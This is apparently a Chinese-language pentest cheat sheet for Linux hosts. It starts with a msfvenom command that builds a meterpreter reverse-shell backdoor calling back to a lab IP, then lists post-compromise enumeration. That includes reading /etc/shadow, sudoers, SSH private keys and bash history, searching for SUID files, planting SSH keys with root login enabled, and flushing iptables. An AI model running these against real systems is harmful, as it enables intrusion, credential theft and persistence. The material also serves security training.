Linux主机信息收集
0x00 Linux主机渗透
MSF生成LUNIX平台可执行文件
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.31.246 lport=8882 -f elf -o localmsf8882.elf
生成linux后门时需注意位数为32还是64,和架构: 常见架构:
32bit :i386,i686,x86,arm
64bit :x64,x86_64,amd64,arm64,aarch64
MSF开启handler
handler -H 192.168.31.246 -P 8882 -p linux/x86/meterpreter/reverse_tcp
上传后门至靶机 /tmp目录:所有用户、用户组都具有可写权限
靶机运行后门,获取meterpreter
meterpreter获取到shell默认是/bin/sh
0x01 Linux主机信息收集
1 - 系统架构
uname -a // 打印系统信息
cat /etc/issue // /etc/issue是一个文本文件,其中包含要在登录提示之前打印的消息或系统标识。
cat /etc/*-release // /etc/lsb-release, /etc/redhat-release 查看操作系统发行版本。
cat /proc/version // /proc/version指定了Linux内核的版本,用于编译内核的gcc的版本以及内核编译的时间.它还包 含内核编译器的用户名。
cat /proc/sys/kernel/version // /proc/sys/kernel/ 中的文件可以用来调整和监视Linux内核操作中的各种活动
2 - 进程
ps -elf // 列出当前进程快照
ps aux // 列出当前进程快照
s -al /proc/ // /proc是非常特殊的,它也是一个虚拟文件系统。 它有时被称为过程信息伪文件系统。
它不包含“真实”文件,而是包含运行时系统信息(例如系统内存,安装的设备,硬件配置等)
ls -al /proc/99 // 查看关于PID 99的信息
top //top命令显示您的Linux机器的处理器活动,并显示实时管理的任务。
它会显示正在使用的处理器和内存以及运行进程等其他信息。按q可以退出
3 - 用户和组
id // 找到用户的UID或GID等信息.
w // 显示登录到Linux服务器的人员.
whoami // 显示当前用户名
last lastb // 显示用户登录记录 显示用户登录失败记录
lastlog // 格式化打印上次登录日志 /var/log/lastlog 文件的内容。
cat /etc/passwd // 有关用户信息的基于文本的数据库,可以登录系统或其他拥有正在运行的进程的操作系统用户身份。
cat /etc/shadow // /etc/shadow用于通过限制除高度特权的用户对散列密码数据的访问来提高密码的安全级别。
通常情况下,该数据保存在超级用户拥有的文件中,并且只能由超级用户访问。
cat /etc/sudoers // /etc/sudoers 文件内容是使用sudo命令必须遵守的规则
sudo -V // 打印sudo版本字符串
sudo -l // 列出目前用户可执行与无法执行的指令
4 - SSH服务信息
cat ~/.ssh/authorized_keys // 使用公钥认证,认证实体具有公钥和私钥。
// 私钥保存在登录的计算机上,公钥存在要登录的所有计算机上 .ssh/authorized_keys 文件中。
cat ~/.ssh/id_rsa.pub // RSA 公钥 会保存为 .ssh/id_rsa.pub.
cat ~/.ssh/id_rsa // RSA 私钥 会保存在你的home目录中 :.ssh/id_rsa
cat /etc/ssh/ssh_config // OpenSSH SSH 控制端配置文件
cat /etc/ssh/sshd_config // OpenSSH SSH 服务端配置文件
密钥登录
ssh-keygen // 生成密钥对,私钥保存在你登录的计算机上公钥存储在要登录的所有计算机上的
.ssh/authorized_keys 文件中。
cat ~/.ssh/id_rsa.pub >> authorized_keys // 安装公钥
chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/id_rsa
chmod 700 ~/.ssh // 设置权限
vim /etc/ssh/sshd_config // 编辑服务端配置文件
RSAAuthentication yes
PubkeyAuthentication yes
PermitRootLogin yes // [可选]禁用密码登录
PasswordAuthentication no
service sshd restart // 重启ssh服务
5 - 服务状态
service --status-all // 检查所有服务状态
systemctl -a // 列出安装在文件系统中的所有单元.
service servicename start
systemctl start servicename // 启动某个服务
service servicename stop
systemctl stop servicename // 停止某个服务
service servicename status
systemctl status servicename // 显示某个服务状态信息
cat /etc/services // /etc/services将端口号映射到指定的服务
6 - 安全 - iptables
iptables -L // 列出所有规则链。
iptables -F // 删除选定规则链中的所有规则.
iptables -A INPUT -p icmp -m icmp –icmp-type 0 -j ACCEPT // 请执行iptables -p icmp –help 获得更多信息.
iptables -A INPUT -p tcp -m tcp –sport 80 -m state –state RELATED,ESTABLISHED -j ACCEPT
// 允许来自src端口80的tcp连接
// -A 新增一条规则 , INPUT[入方向],OUTPUT[出方向]
// -p 协议类型
// -sport 源端口 -dport 目标端口
// -j 处理数据包的动作,ACCEPT 、DROP
iptables -A OUTPUT -p tcp -m tcp -dport 80 -m state –state NEW,RELATED,ESTABLISHED -j ACCEPT
// 允许 从/到 dst 端口80的TCP连接.
iptables -A INPUT -p udp -m udp –sport 53 -m state –state RELATED,ESTABLISHED -j ACCEPT
// 允许来自src端口80的udp连接
iptables -A OUTPUT -p udp -m udp –dport 53 -m state –state NEW,RELATED,ESTABLISHED -j ACCEPT
// 允许从/到 dst 端口53的udp连接.
iptables -A OUTPUT -p tcp -m tcp –sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp –dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
// 允许本地主机连接到 localhost:55552
// -s 原地址ip -d 目标地址ip
// -i 指定数据包从哪块网卡进入-o指定数据包从哪块网卡输出
7 - 网络
ifconfig -a // 显示当前可用的所有接口
hostname // 显示或设置系统的主机名称。
netstat -antp // 显示网络状态
netstat -anup // 显示网络状态
lsof -nPi // 列出打开的文件
route -e //显示/操作IP路由表
cat /etc/resolv.conf //该文件是DNS域名解析的配置文件,它的格式很简单,每行以一个关键字开头,后接 配置参数。resolv.conf的关键字主要有四个,分别是:`nameserver :定义DNS 服务器的IP地址
cat /etc/hosts // /etc/hosts是一个简单的文本文件,将IP地址与主机名相关联,每个IP地址一行。
cat /etc/network/interfaces // /etc/network/interfaces 文件包含网络接口配置信息。
cat /etc/sysconfig/network // /etc/sysconfig/network 文件用于指定有关服务器上所需网络配置的信息。
cat /etc/networks // /etc/networks是一个简单的ASCII文件,描述这些网络已知DARPA网络符号名称
8 - 文件系统
cat /etc/profile // /etc/profile 包含Linux系统环境和启动程序。 它被所有的用户使用于bash,ksh,sh shell。
cat /etc/bashrc // /etc/bashrc或者/etc/bash.bashrc是全系统的bash每个交互式shell启动文件。是使用系统广泛的功能 和别名。
cat ~/.bash_profile // 类似 /etc/profile, 但仅适用于当前用户
cat ~/.bash_history // 打印当前用户bash命令的历史记录
ls -al /var/log/ // 列出所有日志文件
find / -perm -1000 -type d 2>/dev/null // 粘滞位 - 只有目录的所有者或文件的所有者可以在这里删除或重命名.
find / -perm -g=s -type f 2>/dev/null // SGID(chmod 2000) - 作为组运行,而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null // SUID(chmod 4000) - 作为所有者运行,而不是启动它的用户。
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null // 找出可写可执行的文件夹
find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print // 找出可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print // 找出不是所有者的文件
9 - 计划用户 - crontab
crond是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,当安装完成操作系统后,默认会 安装此服务 工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行 的任务,则自动执行该任务。
crontab -l //显示当前用户crontab
crontab [-u username] [-l|-e|-r]
参数:
-u: 只有root才能进行这个任务,也即帮其他用户新建/删除crontab工作调度;
-e: 编辑crontab 的工作内容;
-l: 查阅crontab的工作内容;
-r: 删除所有的crontab的工作内容,若仅要删除一项,请用-e去编辑。
0 12 * * * root /etc/init.d/smb restart
#分 时 日 月 周 |《==============命令行=======》|
代表意义 | 分钟 | 小时 | 日期 | 月份 | 周 | 命令 |
---|---|---|---|---|---|---|
范围 | 0-59 | 0-23 | 1-31 | 1-12 | 0-7 |